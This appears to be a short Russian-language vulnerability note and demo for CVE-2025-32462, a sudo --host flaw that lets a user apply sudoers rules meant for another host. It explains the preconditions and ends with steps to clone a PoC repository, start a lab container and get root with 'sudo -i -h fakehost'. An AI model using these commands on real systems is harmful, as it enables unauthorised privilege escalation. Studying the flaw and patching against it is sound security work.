
cve-2025-32462' демо

sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub
В документации sudo -h(--host) сказано, что -h можно использовать только с -l. При последующих обновлениях sudo -h стал совместим с -e, -i и другими
sudo --host(-h) <username> -l(--list)
/etc/sudoer.d используется для просмотра того, какими правами обладает пользователь в системе. Эти права могут быть обойдены, что позволяет пользователю повысить свои привилегии в одной системе до уровня привилегий, которые у него могут быть в другой системе. Особенно это актуально для систем, где один и тот же конфигурационный файл sudoers используется на нескольких компьютерах или где для предоставления правил sudoers используются сетевые каталоги пользователей (например, LDAP).
Резюме: параметр h/--host в sudo не следует принципу наименьших привилегий и не проверяет границы правил для хоста в сценариях, отличных от -l (например, при выполнении команд). Злоумышленник может настроить вредоносные правила в файле /etc/sudoer.d.
В первую очередь это затрагивает системы администраторов, которые используют один и тот же файл sudoers на нескольких машинах.
Для эксплуатации уязвимости необходимо выполнение двух условий:
злоумышленник получает доступ к аутентифицированному пользователю
система использует нестандартную конфигурацию, зависящую от дополнительных правил в файле sudoers
Пример:
Файл sudoers содержит правила, определяющие права этого пользователя в разных системах.
Alice hostA: some Privilege
Bob hostB: some Privilege
Bob входит в hostA и выполняет команду sudo -h hostB commandA
git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# after entering the contain Ubuntu
sudo -l
# then prompt you to enter your password, but "we" don't know.
sudo -l -h fakehost # Check the permissions user ubuntu have in host named fakehost
sudo -i -h fakehost # get root